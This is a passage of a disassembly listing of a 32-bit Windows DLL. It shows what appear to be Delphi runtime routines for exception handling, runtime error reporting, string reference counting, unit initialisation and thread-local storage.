edx, [edx+0Ch] call sub_100024D8 ; --------------------------------------------------------------------------- pop ebp retn 4 ; --------------------------------------------------------------------------- loc_10002CD4: ; DATA XREF: sub_10002D74+Do mov eax, [esp+4] test dword ptr [eax+4], 6 jnz loc_10002D6E cmp ds:byte_10008010, 0 ja short loc_10002CFD lea eax, [esp+4] push eax call sub_10001018 ; UnhandledExceptionFilter cmp eax, 0 jz short loc_10002D6E loc_10002CFD: ; CODE XREF: CODE:10002CECj mov eax, [esp+4] cld call sub_1000292C mov edx, [esp+8] push 0 push eax push offset loc_10002D1A push edx call ds:off_1000A014 loc_10002D1A: ; DATA XREF: CODE:10002D0Eo mov ebx, [esp+4] cmp dword ptr [ebx], 0EEDFADEh mov edx, [ebx+14h] mov eax, [ebx+18h] jz short loc_10002D49 mov edx, ds:dword_1000A00C test edx, edx jz loc_10002C34 mov eax, ebx call edx test eax, eax jz loc_10002C34 mov edx, [ebx+0Ch] loc_10002D49: ; CODE XREF: CODE:10002D2Aj call sub_10002A14 mov ecx, ds:dword_1000A004 test ecx, ecx jz short loc_10002D5A call ecx loc_10002D5A: ; CODE XREF: CODE:10002D56j mov ecx, [esp+4] mov eax, 0D9h mov edx, [ecx+14h] mov [esp], edx jmp sub_100030B8 ; --------------------------------------------------------------------------- loc_10002D6E: ; CODE XREF: CODE:10002CDFj ; CODE:10002CFBj xor eax, eax retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002D74 proc near ; CODE XREF: sub_10002E7C+2Ep xor edx, edx lea eax, [ebp-0Ch] mov ecx, fs:[edx] mov fs:[edx], eax mov [eax], ecx mov dword ptr [eax+4], offset loc_10002CD4 mov [eax+8], ebp mov ds:dword_1000A624, eax retn sub_10002D74 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002D94 proc near ; CODE XREF: sub_10002FD4:loc_1000305Ep xor edx, edx mov eax, ds:dword_1000A624 test eax, eax jz short locret_10002DBB mov ecx, fs:[edx] cmp eax, ecx jnz short loc_10002DAE mov eax, [eax] mov fs:[edx], eax retn ; --------------------------------------------------------------------------- loc_10002DAC: ; CODE XREF: sub_10002D94+21j mov ecx, [ecx] loc_10002DAE: ; CODE XREF: sub_10002D94+10j cmp ecx, 0FFFFFFFFh jz short locret_10002DBB cmp [ecx], eax jnz short loc_10002DAC mov eax, [eax] mov [ecx], eax locret_10002DBB: ; CODE XREF: sub_10002D94+9j ; sub_10002D94+1Dj retn sub_10002D94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10002DBC proc near ; CODE XREF: sub_10002DBC+4Bp ; sub_10002E1C+4Bp ... var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 10002A34 SIZE 00000104 BYTES ; FUNCTION CHUNK AT 10002B58 SIZE 00000006 BYTES push ebp mov ebp, esp push ebx push esi push edi mov edi, offset dword_1000A620 mov eax, [edi+8] test eax, eax jz short loc_10002E16 mov ebx, [edi+0Ch] mov esi, [eax+4] xor edx, edx push ebp push offset loc_10002E02 push dword ptr fs:[edx] mov fs:[edx], esp test ebx, ebx jle short loc_10002DF8 loc_10002DE6: ; CODE XREF: sub_10002DBC+3Aj dec ebx mov [edi+0Ch], ebx mov eax, [esi+ebx*8+4] test eax, eax jz short loc_10002DF4 call eax loc_10002DF4: ; CODE XREF: sub_10002DBC+34j test ebx, ebx jg short loc_10002DE6 loc_10002DF8: ; CODE XREF: sub_10002DBC+28j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_10002E16 ; --------------------------------------------------------------------------- loc_10002E02: ; DATA XREF: sub_10002DBC+1Bo jmp loc_10002A34 ; --------------------------------------------------------------------------- call sub_10002DBC call sub_10002B98 call sub_10002BEC loc_10002E16: ; CODE XREF: sub_10002DBC+10j ; sub_10002DBC+44j pop edi pop esi pop ebx pop ebp retn sub_10002DBC endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10002E1C proc near ; CODE XREF: sub_10002E7C+3Ap push ebp mov ebp, esp push ebx push esi push edi mov eax, ds:off_1000A628 test eax, eax jz short loc_10002E76 mov esi, [eax] xor ebx, ebx mov edi, [eax+4] xor edx, edx push ebp push offset loc_10002E62 push dword ptr fs:[edx] mov fs:[edx], esp cmp esi, ebx jle short loc_10002E58 loc_10002E44: ; CODE XREF: sub_10002E1C+3Aj mov eax, [edi+ebx*8] inc ebx mov ds:dword_1000A62C, ebx test eax, eax jz short loc_10002E54 call eax loc_10002E54: ; CODE XREF: sub_10002E1C+34j cmp esi, ebx jg short loc_10002E44 loc_10002E58: ; CODE XREF: sub_10002E1C+26j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_10002E76 ; --------------------------------------------------------------------------- loc_10002E62: ; DATA XREF: sub_10002E1C+19o jmp loc_10002A34 ; --------------------------------------------------------------------------- call sub_10002DBC call sub_10002B98 call sub_10002BEC loc_10002E76: ; CODE XREF: sub_10002E1C+Dj ; sub_10002E1C+44j pop edi pop esi pop ebx pop ebp retn sub_10002E1C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002E7C proc near ; CODE XREF: sub_10003674+3Ap mov ds:off_1000A010, offset sub_10001008 mov ds:off_1000A014, offset sub_10001010 mov ds:off_1000A628, eax xor eax, eax mov ds:dword_1000A62C, eax mov ds:off_1000A630, edx mov eax, [edx+4] mov ds:dword_1000A01C, eax call sub_10002D74 mov ds:byte_1000A024, 0 call sub_10002E1C retn sub_10002E7C endp ; =============== S U B R O U T I N E ======================================= sub_10002EBC proc near ; CODE XREF: sub_10002FD4+38p push ebx push esi push edi mov esi, offset aRuntimeErrorAt ; "Runtime error at 00000000" mov cl, 10h mov ebx, ds:dword_10008000 loc_10002ECC: ; CODE XREF: sub_10002EBC+33j mov eax, ebx mov edi, 0Ah cdq idiv edi add dl, 30h xor eax, eax mov al, cl mov [esi+eax], dl mov eax, ebx mov ebx, 0Ah cdq idiv ebx mov ebx, eax dec ecx test ebx, ebx jnz short loc_10002ECC mov cl, 1Ch mov eax, ds:dword_10008004 loc_10002EF8: ; CODE XREF: sub_10002EBC+54j mov edx, eax and edx, 0Fh mov dl, ds:byte_10008074[edx] xor ebx, ebx mov bl, cl mov [esi+ebx], dl shr eax, 4 dec ecx test eax, eax jnz short loc_10002EF8 pop edi pop esi pop ebx retn sub_10002EBC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002F18 proc near ; CODE XREF: sub_10002FD4+9Ep xor eax, eax xchg eax, ds:dword_10008000 neg eax sbb eax, eax inc eax mov edi, offset dword_1000A620 mov ebx, [edi+18h] mov ebp, [edi+14h] push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh rep movsd pop edi pop esi leave retn 0Ch sub_10002F18 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002F48 proc near ; CODE XREF: sub_10002FD4+3Dp var_4 = byte ptr -4 push ecx cmp ds:byte_1000A034, 0 jz short loc_10002FA9 cmp ds:word_1000A208, 0D7B2h jnz short loc_10002F71 cmp ds:dword_1000A210, 0 jbe short loc_10002F71 mov eax, offset dword_1000A204 call ds:dword_1000A220 loc_10002F71: ; CODE XREF: sub_10002F48+13j ; sub_10002F48+1Cj push 0 lea eax, [esp+8+var_4] push eax push 1Eh push offset aRuntimeErrorAt ; "Runtime error at 00000000" push 0FFFFFFF5h call sub_10001000 ; GetStdHandle push eax call sub_10001020 ; WriteFile push 0 lea eax, [esp+8+var_4] push eax push 2 push offset dword_10002FD0 push 0FFFFFFF5h call sub_10001000 ; GetStdHandle push eax call sub_10001020 ; WriteFile pop edx retn ; --------------------------------------------------------------------------- loc_10002FA9: ; CODE XREF: sub_10002F48+8j cmp ds:byte_10008018, 0 jnz short loc_10002FC5 push 0 push offset aError ; "Error" push offset aRuntimeErrorAt ; "Runtime error at 00000000" push 0 call sub_10001038 ; MessageBoxA loc_10002FC5: ; CODE XREF: sub_10002F48+68j pop edx retn sub_10002F48 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_10002FD0 dd 0A0Dh ; DATA XREF: sub_10002F48+4Do ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_10002FD4 proc near ; CODE XREF: sub_100030AC+5p ; CODE:loc_10007941p push ebx push esi push edi push ebp mov ebx, offset dword_1000A620 mov esi, offset dword_10008000 mov edi, offset dword_1000A030 cmp byte ptr [ebx+28h], 0 jnz short loc_10003003 cmp dword ptr [edi], 0 jz short loc_10003003 loc_10002FF2: ; CODE XREF: sub_10002FD4+2Dj mov edx, [edi] mov eax, edx xor edx, edx mov [edi], edx mov ebp, eax call ebp cmp dword ptr [edi], 0 jnz short loc_10002FF2 loc_10003003: ; CODE XREF: sub_10002FD4+17j ; sub_10002FD4+1Cj cmp ds:dword_10008004, 0 jz short loc_1000301D call sub_10002EBC call sub_10002F48 xor eax, eax mov ds:dword_10008004, eax loc_1000301D: ; CODE XREF: sub_10002FD4+36j ; sub_10002FD4+CEj cmp byte ptr [ebx+28h], 2 jnz short loc_1000302D cmp dword ptr [esi], 0 jnz short loc_1000302D xor eax, eax mov [ebx+0Ch], eax loc_1000302D: ; CODE XREF: sub_10002FD4+4Dj ; sub_10002FD4+52j call sub_10002DBC cmp byte ptr [ebx+28h], 1 jbe short loc_1000303D cmp dword ptr [esi], 0 jz short loc_1000305E loc_1000303D: ; CODE XREF: sub_10002FD4+62j mov eax, [ebx+10h] test eax, eax jz short loc_1000305E call sub_10003358 mov edx, [ebx+10h] mov eax, [edx+10h] cmp eax, [edx+4] jz short loc_1000305E test eax, eax jz short loc_1000305E push eax call sub_10001040 ; FreeLibrary loc_1000305E: ; CODE XREF: sub_10002FD4+67j ; sub_10002FD4+6Ej ... call sub_10002D94 cmp byte ptr [ebx+28h], 1 jnz short loc_1000306C call dword ptr [ebx+24h] loc_1000306C: ; CODE XREF: sub_10002FD4+93j cmp byte ptr [ebx+28h], 0 jz short loc_10003077 call sub_10002F18 loc_10003077: ; CODE XREF: sub_10002FD4+9Cj cmp dword ptr [ebx], 0 jnz short loc_10003093 cmp ds:dword_1000A018, 0 jz short loc_1000308B call ds:dword_1000A018 loc_1000308B: ; CODE XREF: sub_10002FD4+AFj mov eax, [esi] push eax call sub_10001030 ; ExitProcess loc_10003093: ; CODE XREF: sub_10002FD4+A6j mov eax, [ebx] push esi mov esi, eax mov edi, ebx mov ecx, 0Bh rep movsd pop esi jmp loc_1000301D sub_10002FD4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_100030AC proc near ; CODE XREF: sub_100024D8+6p ; sub_100030B8+6j mov ds:dword_10008000, eax call sub_10002FD4 sub_100030AC endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_100030B8 proc near ; CODE XREF: CODE:10002D69j ; sub_100035E4+1Ap ... pop ds:dword_10008004 jmp sub_100030AC sub_100030B8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_100030C4 proc near ; CODE XREF: sub_10002678+Fp ; sub_10003188+23p ... mov edx, [eax] test edx, edx jz short locret_100030E6 mov dword ptr [eax], 0 mov ecx, [edx-8] dec ecx jl short locret_100030E6 lock dec dword ptr [edx-8] jnz short locret_100030E6 push eax lea eax, [edx-8] call sub_10002468 pop eax locret_100030E6: ; CODE XREF: sub_100030C4+4j ; sub_100030C4+10j ... retn sub_100030C4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100030E8 proc near ; CODE XREF: CODE:10007934p push ebx push esi mov ebx, eax mov esi, edx loc_100030EE: ; CODE XREF: sub_100030E8+2Aj mov edx, [ebx] test edx, edx jz short loc_1000310E mov dword ptr [ebx], 0 mov ecx, [edx-8] dec ecx jl short loc_1000310E lock dec dword ptr [edx-8] jnz short loc_1000310E lea eax, [edx-8] call sub_10002468 loc_1000310E: ; CODE XREF: sub_100030E8+Aj ; sub_100030E8+16j ... add ebx, 4 dec esi jnz short loc_100030EE pop esi pop ebx retn sub_100030E8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003118 proc near ; CODE XREF: CODE:100078B6p test edx, edx jz short loc_10003140 mov ecx, [edx-8] inc ecx jg short loc_1000313C push eax push edx mov eax, [edx-4] call sub_1000315C mov edx, eax pop eax push edx mov ecx, [eax-4] call sub_1000254C pop edx pop eax jmp short loc_10003140 ; --------------------------------------------------------------------------- loc_1000313C: ; CODE XREF: sub_10003118+8j lock inc dword ptr [edx-8] loc_10003140: ; CODE XREF: sub_10003118+2j ; sub_10003118+22j xchg edx, [eax] test edx, edx jz short locret_1000315A mov ecx, [edx-8] dec ecx jl short locret_1000315A lock dec dword ptr [edx-8] jnz short locret_1000315A lea eax, [edx-8] call sub_10002468 locret_1000315A: ; CODE XREF: sub_10003118+2Cj ; sub_10003118+32j ... retn sub_10003118 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000315C proc near ; CODE XREF: sub_10003118+Fp ; sub_10003188+Bp ... test eax, eax jle short loc_10003184 push eax add eax, 0Ah and eax, 0FFFFFFFEh push eax call sub_10002448 pop edx mov word ptr [edx+eax-2], 0 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 retn ; --------------------------------------------------------------------------- loc_10003184: ; CODE XREF: sub_1000315C+2j xor eax, eax retn sub_1000315C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003188 proc near ; CODE XREF: sub_10002678+2Fp ; sub_100031B8+12j push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx mov eax, edi call sub_1000315C mov ecx, edi mov edi, eax test esi, esi jz short loc_100031A9 mov edx, eax mov eax, esi call sub_1000254C loc_100031A9: ; CODE XREF: sub_10003188+16j mov eax, ebx call sub_100030C4 mov [ebx], edi pop edi pop esi pop ebx retn sub_10003188 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100031B8 proc near ; CODE XREF: sub_100033E0+36p push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_100031C5 not ecx loc_100031C5: ; CODE XREF: sub_100031B8+9j pop eax add ecx, eax pop eax pop edi jmp sub_10003188 sub_100031B8 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_100031D0 proc near ; CODE XREF: CODE:100078C5p ; CODE:100078DEp ... push ebx push esi push edi mov esi, eax mov edi, edx cmp eax, edx jz loc_1000326E test esi, esi jz short loc_1000324B test edi, edi jz short loc_10003252 mov eax, [esi-4] mov edx, [edi-4] sub eax, edx ja short loc_100031F3 add edx, eax loc_100031F3: ; CODE XREF: sub_100031D0+1Fj push edx shr edx, 2 jz short loc_1000321F loc_100031F9: ; CODE XREF: sub_100031D0+45j mov ecx, [esi] mov ebx, [edi] cmp ecx, ebx jnz short loc_10003259 dec edx jz short loc_10003219 mov ecx, [esi+4] mov ebx, [edi+4] cmp ecx, ebx jnz short loc_10003259 add esi, 8 add edi, 8 dec edx jnz short loc_100031F9 jmp short loc_1000321F ; --------------------------------------------------------------------------- loc_10003219: ; CODE XREF: sub_100031D0+32j add esi, 4 add edi, 4 loc_1000321F: ; CODE XREF: sub_100031D0+27j ; sub_100031D0+47j pop edx and edx, 3 jz short loc_10003247 mov ecx, [esi] mov ebx, [edi] cmp cl, bl jnz short loc_1000326E dec edx jz short loc_10003247 cmp ch, bh jnz short loc_1000326E dec edx jz short loc_10003247 and ebx, 0FF0000h and ecx, 0FF0000h cmp ecx, ebx jnz short loc_1000326E loc_10003247: ; CODE XREF: sub_100031D0+53j ; sub_100031D0+5Ej ... add eax, eax jmp short loc_1000326E ; --------------------------------------------------------------------------- loc_1000324B: ; CODE XREF: sub_100031D0+11j mov edx, [edi-4] sub eax, edx jmp short loc_1000326E ; --------------------------------------------------------------------------- loc_10003252: ; CODE XREF: sub_100031D0+15j mov eax, [esi-4] sub eax, edx jmp short loc_1000326E ; --------------------------------------------------------------------------- loc_10003259: ; CODE XREF: sub_100031D0+2Fj ; sub_100031D0+3Cj pop edx cmp cl, bl jnz short loc_1000326E cmp ch, bh jnz short loc_1000326E shr ecx, 10h shr ebx, 10h cmp cl, bl jnz short loc_1000326E cmp ch, bh loc_1000326E: ; CODE XREF: sub_100031D0+9j ; sub_100031D0+5Bj ... pop edi pop esi pop ebx retn sub_100031D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003274 proc near ; CODE XREF: sub_100072F4+182p test eax, eax jz short loc_1000327A retn ; --------------------------------------------------------------------------- byte_10003279 db 0 ; DATA XREF: sub_10003274:loc_1000327Ao ; --------------------------------------------------------------------------- loc_1000327A: ; CODE XREF: sub_10003274+2j mov eax, offset byte_10003279 retn sub_10003274 endp ; =============== S U B R O U T I N E ======================================= sub_10003280 proc near ; CODE XREF: sub_1000258C+7Fp push ebx push esi push edi mov ebx, eax mov esi, edx xor edi, edi test edx, edx jle short loc_100032D5 mov eax, [ebx] test eax, eax jz short loc_100032B6 cmp dword ptr [eax-8], 1 jnz short loc_100032B6 sub eax, 8 add edx, 9 push eax mov eax, esp call sub_10002488 pop eax add eax, 8 mov [ebx], eax mov [eax-4], esi mov byte ptr [esi+eax], 0 jmp short loc_100032DE ; --------------------------------------------------------------------------- loc_100032B6: ; CODE XREF: sub_10003280+11j ; sub_10003280+17j mov eax, edx call sub_1000315C mov edi, eax mov eax, [ebx] test eax, eax jz short loc_100032D5 mov edx, edi mov ecx, [eax-4] cmp ecx, esi jl short loc_100032D0 mov ecx, esi loc_100032D0: ; CODE XREF: sub_10003280+4Cj call sub_1000254C loc_100032D5: ; CODE XREF: sub_10003280+Bj ; sub_10003280+43j mov eax, ebx call sub_100030C4 mov [ebx], edi loc_100032DE: ; CODE XREF: sub_10003280+34j pop edi pop esi pop ebx retn sub_10003280 endp ; --------------------------------------------------------------------------- align 4 loc_100032E4: ; DATA XREF: CODE:100034F4o ; BSS:off_1000A000o mov al, 11h jmp sub_10002530 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100032EC proc near ; CODE XREF: sub_10003358+1Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov [ebp+var_4], eax mov eax, ds:dword_10008020 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_1000333F loc_10003306: ; CODE XREF: sub_100032EC+51j xor eax, eax push ebp push offset loc_10003327 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [ebp+var_8] mov eax, [ebp+var_4] call dword ptr [ebx+4] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_10003331 ; --------------------------------------------------------------------------- loc_10003327: ; DATA XREF: sub_100032EC+1Do jmp loc_10002A34 ; --------------------------------------------------------------------------- call sub_10002BEC loc_10003331: ; CODE XREF: sub_100032EC+39j mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_10003306 loc_1000333F: ; CODE XREF: sub_100032EC+18j pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_100032EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003348 proc near ; CODE XREF: sub_10003668+5p mov edx, ds:off_1000801C mov [eax], edx mov ds:off_1000801C, eax retn sub_10003348 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10003358 proc near ; CODE XREF: sub_10002FD4+70p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], eax xor edx, edx push ebp push offset loc_100033BC push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] mov eax, [eax+4] call sub_100032EC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100033C3 loc_10003385: ; CODE XREF: sub_10003358+69j mov eax, [ebp+var_4] cmp eax, ds:off_1000801C jnz short loc_1000339C mov eax, [ebp+var_4] mov eax, [eax] mov ds:off_1000801C, eax jmp short loc_100033BB ; --------------------------------------------------------------------------- loc_1000339C: ; CODE XREF: sub_10003358+36j mov eax, ds:off_1000801C test eax, eax jz short loc_100033BB loc_100033A5: ; CODE XREF: sub_10003358+61j mov edx, [eax] cmp edx, [ebp+var_4] jnz short loc_100033B5 mov edx, [ebp+var_4] mov edx, [edx] mov [eax], edx jmp short loc_100033BB ; --------------------------------------------------------------------------- loc_100033B5: ; CODE XREF: sub_10003358+52j mov eax, [eax] test eax, eax jnz short loc_100033A5 loc_100033BB: ; CODE XREF: sub_10003358+42j ; sub_10003358+4Bj ... retn ; --------------------------------------------------------------------------- loc_100033BC: ; DATA XREF: sub_10003358+Ao jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10003385 ; --------------------------------------------------------------------------- loc_100033C3: ; CODE XREF: sub_10003358:loc_100033BBj ; DATA XREF: sub_10003358+28o pop ecx pop ebp retn sub_10003358 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100033C8 proc near ; CODE XREF: sub_100072F4+265p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_100033D6 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_100033D6: ; CODE XREF: sub_100033C8+8j call ds:off_10008028 pop ebp retn sub_100033C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100033E0 proc near ; CODE XREF: CODE:10003572p ; CODE:10003583p var_10 = dword ptr -10h var_B = byte ptr -0Bh var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp+var_10], edx xor edx, edx push ebp push offset loc_10003446 push dword ptr fs:[edx] mov fs:[edx], esp push 7 lea edx, [ebp+var_B] push edx push 1004h push eax call sub_10001050 ; GetLocaleInfoA lea eax, [ebp+var_10] lea edx, [ebp+var_B] mov ecx, 7 call sub_100031B8 mov eax, [ebp+var_10] lea edx, [ebp+var_4] call sub_1000275C mov ebx, eax cmp [ebp+var_4], 0 jz short loc_10003430 xor ebx, ebx loc_10003430: ; CODE XREF: sub_100033E0+4Cj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000344D loc_1000343D: ; CODE XREF: sub_100033E0+6Bj lea eax, [ebp+var_10] call sub_100030C4 retn ; --------------------------------------------------------------------------- loc_10003446: ; DATA XREF: sub_100033E0+Fo jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_1000343D ; --------------------------------------------------------------------------- loc_1000344D: ; CODE XREF: sub_100033E0+65j ; DATA XREF: sub_100033E0+58o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_100033E0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_100034A8 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A5A4 jnz short loc_1000349A mov eax, offset dword_1000A038 call sub_100026E4 mov eax, offset dword_1000A204 call sub_100026E4 mov eax, offset dword_1000A3D0 call sub_100026E4 call sub_1000184C mov eax, offset dword_1000A64C call sub_100030C4 loc_1000349A: ; CODE XREF: CODE:1000346Bj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100034AF loc_100034A7: ; CODE XREF: CODE:100034ADj retn ; --------------------------------------------------------------------------- loc_100034A8: ; DATA XREF: CODE:1000345Ao jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_100034A7 ; --------------------------------------------------------------------------- loc_100034AF: ; CODE XREF: CODE:loc_100034A7j ; DATA XREF: CODE:100034A2o pop ebp retn ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp xor eax, eax push ebp push offset loc_100035A5 push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_1000A5A4, 1 jnb loc_10003597 mov ds:byte_10008008, 2 mov ds:off_1000A010, offset sub_10001008 mov ds:off_1000A014, offset sub_10001010 mov ds:byte_1000A036, 2 mov ds:off_1000A000, offset loc_100032E4 call sub_10002838 test al, al jz short loc_1000350C call sub_10002868 loc_1000350C: ; CODE XREF: CODE:10003505j call sub_1000292C mov ds:word_1000A03C, 0D7B0h mov ds:word_1000A208, 0D7B0h mov ds:word_1000A3D4, 0D7B0h call sub_10001048 ; GetCommandLineA mov ds:dword_1000A02C, eax call sub_10001098 mov ds:dword_1000A028, eax call sub_10001090 ; GetVersion and eax, 80000000h cmp eax, 80000000h jz short loc_1000357E call sub_10001090 ; GetVersion and eax, 0FFh cmp ax, 4 jbe short loc_1000356D mov ds:dword_1000A5A8, 3 jmp short loc_1000358D ; --------------------------------------------------------------------------- loc_1000356D: ; CODE XREF: CODE:1000355Fj call sub_10001068 ; GetThreadLocale call sub_100033E0 mov ds:dword_1000A5A8, eax jmp short loc_1000358D ; --------------------------------------------------------------------------- loc_1000357E: ; CODE XREF: CODE:1000354Fj call sub_10001068 ; GetThreadLocale call sub_100033E0 mov ds:dword_1000A5A8, eax loc_1000358D: ; CODE XREF: CODE:1000356Bj ; CODE:1000357Cj call sub_10001088 ; GetCurrentThreadId mov ds:dword_1000A020, eax loc_10003597: ; CODE XREF: CODE:100034CCj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100035AC loc_100035A4: ; CODE XREF: CODE:100035AAj retn ; --------------------------------------------------------------------------- loc_100035A5: ; DATA XREF: CODE:100034BAo jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_100035A4 ; --------------------------------------------------------------------------- loc_100035AC: ; CODE XREF: CODE:loc_100035A4j ; DATA XREF: CODE:1000359Fo pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100035B0 proc near ; CODE XREF: sub_10003674+Cp jmp ds:dword_1000B114 sub_100035B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100035B8 proc near ; CODE XREF: sub_100035D0+3p jmp ds:dword_1000B110 sub_100035B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100035C0 proc near ; CODE XREF: sub_10003628+25p ; sub_10003628+36p jmp ds:dword_1000B10C sub_100035C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100035C8 proc near ; CODE XREF: sub_100035E4+3Dp jmp ds:dword_1000B108 sub_100035C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100035D0 proc near ; CODE XREF: sub_100035E4+21p push eax push 40h call sub_100035B8 ; LocalAlloc retn sub_100035D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100035DC proc near ; CODE XREF: sub_100035E4+1p mov eax, 8 retn sub_100035DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100035E4 proc near ; CODE XREF: sub_10003628:loc_10003642p push ebx call sub_100035DC mov ebx, eax test ebx, ebx jz short loc_10003626 cmp ds:TlsIndex, 0FFFFFFFFh jnz short loc_10003603 mov eax, 0E2h call sub_100030B8 ; --------------------------------------------------------------------------- loc_10003603: ; CODE XREF: sub_100035E4+13j mov eax, ebx call sub_100035D0 test eax, eax jnz short loc_1000361A mov eax, 0E2h call sub_100030B8 ; --------------------------------------------------------------------------- jmp short loc_10003626 ; --------------------------------------------------------------------------- loc_1000361A: ; CODE XREF: sub_100035E4+28j push eax mov eax, ds:TlsIndex push eax call sub_100035C8 ; TlsSetValue loc_10003626: ; CODE XREF: sub_100035E4+Aj ; sub_100035E4+34j pop ebx retn sub_100035E4 endp ; =============== S U B R O U T I N E ======================================= sub_10003628 proc near ; CODE XREF: sub_100024E4+20p ; sub_1000253C+3p ... mov cl, ds:byte_1000A650 mov eax, ds:TlsIndex test cl, cl jnz short loc_1000365D mov edx, large fs:2Ch mov eax, [edx+eax*4] retn ; --------------------------------------------------------------------------- loc_10003642: ; CODE XREF: sub_10003628+3Dj call sub_100035E4 mov eax, ds:TlsIndex push eax call sub_100035C0 ; TlsGetValue test eax, eax jz short loc_10003657 retn ; --------------------------------------------------------------------------- loc_10003657: ; CODE XREF: sub_10003628+2Cj mov eax, ds:dword_1000A65C retn ; --------------------------------------------------------------------------- loc_1000365D: ; CODE XREF: sub_10003628+Dj push eax call sub_100035C0 ; TlsGetValue test eax, eax jz short loc_10003642 retn sub_10003628 endp ; =============== S U B R O U T I N E ======================================= sub_10003668 proc near ; CODE XREF: sub_10003674+2Ep mov eax, offset dword_10008088 call sub_10003348 retn sub_10003668 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003674 proc near ; CODE XREF: CODE:10007899p push ebx mov ebx, eax xor eax, eax mov ds:TlsIndex, eax push 0 call sub_100035B0 ; GetModuleHandleA mov ds:dword_1000A654, eax mov eax, ds:dword_1000A654 mov ds:dword_1000808C, eax xor eax, eax mov ds:dword_10008090, eax xor 